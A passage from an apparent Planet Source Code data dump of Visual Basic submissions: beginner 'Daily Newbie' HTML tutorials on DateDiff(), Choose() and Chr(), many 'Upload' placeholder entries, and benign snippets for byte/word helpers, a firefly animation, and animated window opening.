yesterdays (thanks for the suggestion BigCalm).\nToday I am going to discuss the DateDiff() function. Many newbies (and some more experienced coders) spend many hours writing code to do the exact same things that they could do with a single call to DateDiff(). I hope to show you what this function is, how to use it, and how it can make your coding MUCH easier. \n.\nToday’s Keyword:\n <font\nsize=\"4\" face=\"Arial\"> DateDiff()\nName Derived\nFrom: \n \"Date Difference \"\n \n<font\nsize=\"2\" face=\"Arial\">Used for \nDetermining the difference between two dates or times.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description: Returns a Variant (Long) specifying the number of time intervals between two specified dates.\nPlain\nEnglish: Makes adding and subtracting dates easier by allowing you to pass in a start and end date and get difference back. This difference can be in any valid date/time increment (day, week, month, quarter, year, hour, minute, second).\n<font\nsize=\"2\" face=\"Arial\">Syntax: X = DateDiff(Interval, StartDateTime, EndDateTime)\n<font\nsize=\"2\" face=\"Arial\">Usage: intDayCount = DateDiff(\"d\",\"01/01/1995\", \"01/01/2001\")\n<font\nsize=\"2\" face=\"Arial\">Parameters: <li>Interval - The type of results you want returned. These are:\n\n\t\t\tyyyy\t=Year\n\t\t\tq\t=Quarter\n\t\t\tm\t=Month\n\t\t\ty\t=Day of year\n\t\t\td\t=Day\n\t\t\tw\t=Weekday\n\t\t\tww\t=Week\n\t\t\th\t=Hour\n\t\t\tn\t=Minute\n\t\t\ts\t=Second\n \n<li>StartDateTime - Any valid date, time, or datetime combination. Examples: \"01/01/2000\" , \"01/01/2000 12:25 AM\" , \"16:30\"\n<li>EndDateTime - Same criteria as StartDateTime. This is the data the start date will be subtracted from.\n\nCopy & Paste Code:\n <font\n size=\"2\" face=\"Arial\">\n <pre>\n<code></code></pre>\n <pre\n style=\"margin-left:1.25in;text-indent:.35pt;tab-stops:45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\"><font\nsize=\"2\" face=\"Arial\"><code>\n\n\t\t\t\tDim StartDate As Date \n\t\t\t\tDim EndDate As Date \n\t\t\t\tDim Interval As String\n\t\t\t\t \n\t\t\t\tStartDate = InputBox (\"Start Date:\") \n\t\t\t\tEndDate = InputBox (\"End Date:\") \n\t\t\t\tInterval = InputBox (\"Return In: s=seconds, m=Minutes h=Hours, d=Days, ww=Weeks, w=WeekDays, yyyy=years\"\n\t\t\t\n\t\t\t\tMsgBox DateDiff(Interval, StartDate, EndDate)\n\t\t\t\t</code></pre>\n \n<font\nsize=\"2\" face=\"Arial\">Notes: \n\nThe DateDiff() function is one of the most useful ones VB has to offer. It literally replaces thousands of lines of code, takes in account leap years, knows how many days and weeks are in a month, and many other things that typically trip up home-brewed date code. Let's face it...those Microsoft guys can write some decent code. They went to a lot of trouble to create these functions in lower level languages so we could just call it and get a result back. Besides being much less likely to error out that your own code, it is also exponentially faster since it exists as true bytecode. \n\t\t \n\t\tA couple of things to watch out for in the DateDiff() Function are: \n\t\t<li>Times can mess you up. When you call DateDiff without specifying a time (i.e. \"01/10/200\" instead of \"01/01/2000 9:25:00\"), DateDiff assumes a time of midnight (00:00:01). This can have the effect of \"skipping\" a day if you aren't careful. Check your results a few times and adjust your dates or times to make it right. Once you have it, it will always work the same. \n\t\t<li>Switching dates will return negative values. Not a tragedy, but something you should be aware of.\n\t\t \n\t\t \n\t\tWell I hope today's newsletter has helped save some newbie coders out there from pulling out clumps of hair over date manipulation. If you need more details on using DateDiff() please let me know.\n\t\t\n\t\t\n</body>\n</html>\n"},{"WorldId":1,"id":22718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22740,"LineNumber":1,"line":"Public Function hiByte(ByVal w As Integer) As Byte\n If w And &H8000 Then\n hiByte = &H80 Or ((w And &H7FFF) \\ &HFF)\n Else\n hiByte = w \\ 256\n End If\nEnd Function\nPublic Function HiWord(dw As Long) As Integer\n If dw And &H80000000 Then\n HiWord = (dw \\ 65535) - 1\n Else\n HiWord = dw \\ 65535\n End If\nEnd Function\nPublic Function LoByte(w As Integer) As Byte\n LoByte = w And &HFF\nEnd Function\nPublic Function LoWord(dw As Long) As Integer\n If dw And &H8000& Then\n LoWord = &H8000 Or (dw And &H7FFF&)\n Else\n LoWord = dw And &HFFFF&\n End If\nEnd Function\nPublic Function MakeInt(ByVal LoByte As Byte, ByVal hiByte As Byte) As Integer\nMakeInt = ((hiByte * &H100) + LoByte)\nEnd Function\nPublic Function MakeLong(ByVal LoWord As Integer, ByVal HiWord As Integer) As Long\nMakeLong = ((HiWord * &H10000) + LoWord)\nEnd Function"},{"WorldId":1,"id":22742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22762,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage Express 2.0\">\n<title>Daily Newbie - 04/28/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n┬á\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\nFourth\nEdition┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nApril 28,\n2001┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nFree\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n┬á\n┬á\nAbout this\nfeature:\n\nThe initial plan for the Daily Newbie was to cover each function VB has to offer\nin alphabetical order. I have now modified this plan slightly to skip over some of\nthe more advanced (or tedious) commands that I don't think the Newbie would benefit from.\nThanks again all who have written in support of this effort. It makes a difference.\nToday's command is not widely known for some reason, but is faily useful. \nI have been guilty of writing functions that do the exact same thing several times. I think you will\nlike this one.\n\nToday’s Keyword:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á<font\nsize=\"4\" face=\"Arial\"> Choose()\nName Derived\nFrom:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n<blockquote>\n <font\n size=\"2\" face=\"Arial\">Choose (of\n course) – “(1) : to make a selection\"\n\t\t\t\t\t\t - <a href=\"http://www.webster.com/\">Webster's online\n dictionary.</a>\n </blockquote>\n </blockquote>\n<font\nsize=\"2\" face=\"Arial\">Used for┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nMaking a choice between several possible options.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áSelects and returns a value from a list ofarguments.\n\n<font\nsize=\"2\" face=\"Arial\">Plain\nEnglish:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áReturns the option associated with the value passed it (I will just have to show you!)\n<font\nsize=\"2\" face=\"Arial\">Syntax:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áChoose(index, Choice1, Choice2, etc...)\n<font\nsize=\"2\" face=\"Arial\">Usage:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬ástrDecision = Choose(intChoice┬á,┬á \"Just do it\"┬á, ┬á\"Don't do it\"┬á,┬á \"It's your life\"┬á)\n┬á\nCopy & Paste Code:\n \n \nToday's code snippet will prompt for a month number and return a string\nthat corresponds to it.\n \n \n<pre>\n Dim Choice\n Dim strMonth As String\n Do\n Choice = Val(InputBox(\"Enter a Number (1-12):\"))\n \n If Choice + 0 = 0 Then Exit Do\n \n strMonth = Choose(Choice, \"Jan\", \"Feb\", \"Mar\", \"Apr\", _\n \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\")\n \n MsgBox strMonth\n Loop\n</pre>\n ┬á\n<font\nsize=\"2\" face=\"Arial\">Notes:┬á\nI really like the Choose function. It comes in handy for with evaluating which option button \nwas clicked, or anything else that returns an index number. Unfortunatly, like the Array() command\ncovered a couple of articles ago, the Choose() function requires a seperate hard coded value for\neach possible choice. This isn't neccesarily a bad thing, but I am allergic to hard coding, so it\njust rubs me wrong. I guess the chances of the order of the months changing is pretty slim...\n \nThings to watch out for:┬á\n<li>Although the Choose() Statement only returns a single value, it still evaluates each one. In effect, \nit acts like a compact series of If...Then statements. This can result in the sometimes baffling behavior\nof displaying one message box with the correct value and many empty ones. For this reason, the results \nof a Choose() statement should be returned to a variable before displaying it in a message box.\n \n<li>If the Index value passed in is null, an error will result. Therefore, if you are using a variant\nas your Index, you should add zero to it to initialize it as a number. This will make the default value zero, not null.\n \nTomorrow's Keyword:\t\t\tChr()\n\n</body>\n</html>\n"},{"WorldId":1,"id":22763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22765,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22776,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22786,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22805,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage Express 2.0\">\n<title>Daily Newbie - 04/29/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n┬á\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\nFourth\nEdition┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nApril 28,\n2001┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nFree\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n┬á\n┬á\nToday's command, Chr() is almost a must-know for a lot of string manipulation and should be one of the fundimental tricks in your VB coding bags. If you have read the previous Newbie articles, you already know about the <a href=\"http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=22745&blnEditFeedback=TRUE&lngWId=1\">Asc() function</a>. The Chr() function is a compliment of it. While the Asc() Function returns an ASCII code for a character, the Chr() function returns a character for an ASCII character.\n\nToday’s Keyword:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á<font\nsize=\"4\" face=\"Arial\"> Chr()\nName Derived\nFrom:┬á┬á┬á┬á┬á┬á┬á┬á\nCharacter - a symbol (as a letter or number) that represents information; also : a representation of such a character that may be accepted by a computer - <a href=\"http://www.webster.com/\">Webster's online\n dictionary.</a>\n<font\nsize=\"2\" face=\"Arial\">Used for┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nConverting an ASCII character to a string character.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áReturns a String containing the character associated with the specified character code.\n\n<font\nsize=\"2\" face=\"Arial\">Plain\nEnglish:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áTakes a <a href=\"http://www.orst.edu/aw/tutorials/html/ascii-chart.html\">ASCII Character code </a>and converts it to a \"normal\" text character. \n<font\nsize=\"2\" face=\"Arial\">Syntax:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áChr(ASCII Code)\n<font\nsize=\"2\" face=\"Arial\">Usage:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬ástrCharacter =Chr(65)\n┬á\nCopy & Paste Code:\n \n \nToday's code snippet will print a list of ACII codes and their equivilent character values in the debug window.\n \n \n<pre>\n\t\t\tDim intASCII As Integer\n \n\t\t\tFor intASCII = 49 To 122\n\t\t\t\tDebug.Print Chr(intASCII)\n\t\t\tNext intASCII\n</pre>\n ┬á\n<font\nsize=\"2\" face=\"Arial\">Notes:┬á\nThe reason that the Chr() function is so important is that a lot of things in Visual Basic as based on \nASCII values. For example, in the KeyPress() event of an object, the value that is passed in as the pressed\nkey is an ASCII value. If you are wanting to display each character on the keypress event, you can do it with this code:\n<pre>\n\t\tPrivate Sub Form_KeyPress(KeyAscii As Integer)\n\t\t\tMsgBox Chr(KeyAscii)\n\t\tEnd Sub\n</pre>\n Since the KeyAscii is a VB-defined parameter, the ability to convert it to a character value is pretty important. Chr() Makes this simple. I used Chr() in a simple \"word scrambling\" project that you can view\n by <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.8373/lngWId.1/qx/vb/scripts/ShowCode.htm\">clicking here.</a>\n \n \nTomorrow's Keyword:\t\t\tCommand()\n\n</body>\n</html>\n"},{"WorldId":1,"id":22809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22859,"LineNumber":1,"line":"' These things look like little pixeys so that's\n' what I named them. Although, they also look like\n' fire flies, so whatever works. Enjoy!!!\n' ~Jason Ryczek - CCguy7@aol.com\n' PS -\n' you can have the form as whatever you want, but\n' it looks the best maximized\nDim PixX(4) As Integer, PixY(4) As Integer\nDim TrailX(4, 50) As Integer, TrailY(4, 50) As Integer\nDim Sx(4) As Integer, Sy(4) As Integer\nDim RnN As Integer\nDim spd As Integer\nDim freefall As Boolean\nPrivate Sub Form_Load()\nDim a As Integer\nRandomize Timer\nFor a = 0 To 4\n PixX(a) = (Me.ScaleWidth / (a + 1)) + Rnd(Me.ScaleWidth / 2)\n PixY(a) = (Me.ScaleHeight / (a + 1)) + Rnd(Me.ScaleWidth / 2)\nNext\nPixeyWonderAround Round((Rnd * 24) + 1, 0)\nspd = 5\nMe.BackColor = vbBlack\nMe.ClipControls = False\nMe.AutoRedraw = True\nTimer1.Enabled = True\nTimer1.Interval = 1\nTimer2.Enabled = True\nTimer2.Interval = 2000 + (Rnd * 2000)\nfreefall = False\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)\nDim a As Integer\na = MsgBox(\"Are you sure you want to end?\", vbYesNo)\nIf a = 6 Then End\nEnd Sub\nPrivate Sub Timer1_Timer()\nMe.Cls\nDim a As Integer\nDim yelVal As Integer\nPixeyWonderAround RnN\nFor a = 0 To 4\nPixX(a) = PixX(a) + Sx(a): PixY(a) = PixY(a) + Sy(a)\nIf (PixX(a) < 0) Or (PixX(a) > Me.ScaleWidth) Then PixX(a) = Me.ScaleWidth * Rnd\nIf freefall = False Then\n If (PixY(a) < 0) Or (PixY(a) > Me.ScaleHeight) Then PixY(a) = Rnd(Me.ScaleHeight / 2)\nElse\n If PixY(a) > Me.ScaleHeight Then Sy(a) = Sy(a) + -0.8\nEnd If\nDim i As Integer\nFor i = 50 To 1 Step -1\n yelVal = Rnd * 200 + 55\n TrailX(a, i) = TrailX(a, i - 1) + Rnd * 10 - Rnd * 10: TrailY(a, i) = TrailY(a, i - 1) + Rnd * 10 - Rnd * 10 + 10\n TrailX(a, 0) = PixX(a): TrailY(a, 0) = PixY(a)\n Me.PSet (TrailX(a, i), TrailY(a, i)), RGB(((yelVal / 5) * ((a + 1) / 2) + 55) / (a + 1), (yelVal / 5) * ((a + 1) / 2) + 55, 5 - a)\nNext\nMe.Circle (PixX(a), PixY(a)), 10 * Rnd + 10, RGB(Rnd * 100 + 155, Rnd * 100 + 155, 0)\nNext\nEnd Sub\nPrivate Sub Timer2_Timer()\nRnN = Round((Rnd * 24) + 1, 0)\nTimer2.Interval = 2000 + Round((Rnd * 2000), 0)\nEnd Sub\nSub PixeyWonderAround(ByVal rndNum As Integer)\nSelect Case rndNum\n Case 1\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = 20 - Rnd * 10: Sy(3) = 0\n Sx(4) = -20 - Rnd * 10: Sy(4) = -10\n Case 2\n freefall = False\n Sx(0) = 20 - Rnd * 10: Sy(0) = 10\n Sx(1) = -20 - Rnd * 10: Sy(1) = 0\n Sx(2) = 20 - Rnd * 10: Sy(2) = -10\n Sx(3) = -20 - Rnd * 10: Sy(3) = 10\n Sx(4) = 20 - Rnd * 10: Sy(4) = 0\n Case 3\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = -20 - Rnd * 10: Sy(1) = -20\n Sx(2) = -20 - Rnd * 10: Sy(2) = 20\n Sx(3) = -20 - Rnd * 10: Sy(3) = -20\n Sx(4) = -20 - Rnd * 10: Sy(4) = 0\n Case 4\n freefall = False\n Sx(0) = 0 - Rnd * 10: Sy(0) = -10\n Sx(1) = 20 - Rnd * 10: Sy(1) = -20\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = 0 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 0\n Case 5\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 20\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 0\n Case 6\n freefall = False\n Sx(0) = 20 - Rnd * 10: Sy(0) = 10\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 0\n Sx(3) = -20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 20\n Case 7\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 20\n Sx(1) = -20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 0\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = 20 - Rnd * 10: Sy(4) = 20\n Case 8\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 20\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 10\n Case 9\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 20\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 10\n Case 10\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 10\n Sx(1) = -20 - Rnd * 10: Sy(1) = 10\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = -20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 10\n Case 11\n freefall = False\n Sx(0) = 20 - Rnd * 10: Sy(0) = 5\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 15\n Sx(3) = 20 - Rnd * 10: Sy(3) = 20\n Sx(4) = 20 - Rnd * 10: Sy(4) = 25\n Case 12 To 14 ' Special Fall\n freefall = True\n Sx(0) = 10: Sy(0) = (Sy(0) + 1)\n Sx(1) = 10: Sy(1) = (Sy(1) + 1)\n Sx(2) = 10: Sy(2) = (Sy(2) + 1)\n Sx(3) = 10: Sy(3) = (Sy(3) + 1)\n Sx(4) = 10: Sy(4) = (Sy(4) + 1)\n Case 15 To 17 ' Special Float\n freefall = False\n Sx(0) = 10: Sy(0) = (Sy(0) - 1)\n Sx(1) = -10: Sy(1) = (Sy(1) - 1)\n Sx(2) = 10: Sy(2) = (Sy(2) - 1)\n Sx(3) = -10: Sy(3) = (Sy(3) - 1)\n Sx(4) = 10: Sy(4) = (Sy(4) - 1)\n Case 18 To 20 ' Special Sine Thingy\n freefall = False\n For a = 0 To 4\n Sx(a) = Sx(a) + spd: Sy(a) = 180 * Sin(Sx(a) * 45)\n If (Sx(a) > 100) Or (Sx(a) < 1) Then spd = -spd\n Next\n Case 21 To 25 ' Totally Random\n freefall = False\n Sx(0) = Rnd * 20 - (Rnd * 20): Sx(0) = Rnd * 20 - (Rnd * 20)\n Sx(1) = Rnd * 20 - (Rnd * 20): Sx(1) = Rnd * 20 - (Rnd * 20)\n Sx(2) = Rnd * 20 - (Rnd * 20): Sx(2) = Rnd * 20 - (Rnd * 20)\n Sx(3) = Rnd * 20 - (Rnd * 20): Sx(3) = Rnd * 20 - (Rnd * 20)\n Sx(4) = Rnd * 20 - (Rnd * 20): Sx(4) = Rnd * 20 - (Rnd * 20)\nEnd Select\nEnd Sub\n"},{"WorldId":1,"id":22860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22862,"LineNumber":1,"line":"For normal coders : \nDim frmCopy As Form1 \nSet frmCopy = New Form1 \nfrmCopy.Visible = True \nFor WebBrowser developers : \nPrivate Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean) \nDim frmNew As Form1 \nSet frmNew = New Form1 \nfrmNew.WebBrowser1.RegisterAsBrowser = True \nSet ppDisp = frmNew.WebBrowser1.Object \nfrmNew.Visible = True \nEnd Sub "},{"WorldId":1,"id":22867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22883,"LineNumber":1,"line":"Private Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Declare Function DrawAnimatedRects Lib \"user32\" (ByVal hwnd As Long, ByVal idAni As Long, lprcFrom As RECT, lprcTo As RECT) As Long\nPrivate Const IDANI_CAPTION = &H3\nPrivate Declare Function GetWindowRect Lib \"user32\" (ByVal hwnd As Long, lpRect As RECT) As Long\nPublic Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long\nPrivate Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long\nPublic Type POINTAPI\n X As Long\n Y As Long\nEnd Type\n'ShowWindow\n'Opens your from with animation from an object to the window to show.\n' From_Object_hWnd: the hWnd of the object to start the animation from. This is usually the button that is clicked on to open a form.\n'ToWindow: The form to open.\n'ShowModal: Show the the from as a modal form? (similar to the [Modal] parameter of Form.Show)\n'OwnerOfNewWindow: The owner of a form. (similar to the [OwnerForm] parameter of Form.Show)\n'CenterWindow: Center the window on the screen? This is important, as if you only set the StartUpPosition property of a form to CenterScreen, the animation will run before the form is centered and will look funny. The form will be centered over the owner.\nPublic Sub ShowWindow(From_Object_hWnd As Long, ToWindow As Form, Optional ShowModal As Integer = vbModeless, Optional OwnerOfNewWindow As Form, Optional CenterWindow As Boolean)\nIf ShowModal <> 0 And ShowModal <> 1 Then\nErr.Raise 15448, \"ShowWindowAnimation\", \"Animated Window Show: ShowModal must be a value of 0 or 1. Requested value was \" & ShowModal & \". Window will not be opened.\"\nExit Sub\nEnd If\nOn Error Resume Next\nLoad ToWindow\nIf CenterWindow Then\nCenterChild OwnerOfNewWindow, ToWindow\nEnd If\n Dim FromRect As RECT, ToRect As RECT\n \n GetWindowRect From_Object_hWnd, FromRect\n GetWindowRect ToWindow.hwnd, ToRect\n \n DrawAnimatedRects ToWindow.hwnd, IDANI_CAPTION, FromRect, ToRect\nToWindow.Show ShowModal, OwnerOfNewWindow\nEnd Sub\n'UnloadWindow\n'Use this to make an animation from a window to an object when a window is closing. You could put this in the Form_Unload event:\n' UnloadWindow Me, PreviousWindow.Command1.hWnd\nPublic Sub UnloadWindow(WindowToClose As Form, Close_To_Object_hWnd As Long)\nOn Error Resume Next\n Dim FromRect As RECT, ToRect As RECT\n \n GetWindowRect WindowToClose.hwnd, FromRect\n GetWindowRect Close_To_Object_hWnd, ToRect\n \n DrawAnimatedRects WindowToClose.hwnd, IDANI_CAPTION, FromRect, ToRect\nUnload WindowToClose\nEnd Sub\n'Centers a child window over a parent window.\nPublic Sub CenterChild(Parent As Form, Child As Form)\n On Local Error Resume Next\n\n If Parent.WindowState = 1 Then\n Exit Sub\n Else\n Child.Left = (Parent.Left + (Parent.Width / 2)) - (Child.Width / 2)\n Child.Top = (Parent.Top + (Parent.Height / 2)) - (Child.Height / 2)\n End If\nEnd Sub\n'ShowWindowFromMouse\n'Somewhat like ShowWindow, but instead of starting the animation from an object, it starts the animation from the position of the mouse on the screen. This is useful for menus.\nPublic Sub ShowWindowFromMouse(ToWindow As Form, Optional ShowModal As Integer = vbModeless, Optional OwnerOfNewWindow As Form)\nIf ShowModal <> 0 And ShowModal <> 1 Then\nErr.Raise 15448, \"ShowWindowAnimation\", \"Animated Window Show: ShowModal must be a value of 0 or 1. Requested value was \" & ShowModal & \". Window will not be opened.\"\nExit Sub\nEnd If\nOn Error Resume Next\nLoad ToWindow\n Dim 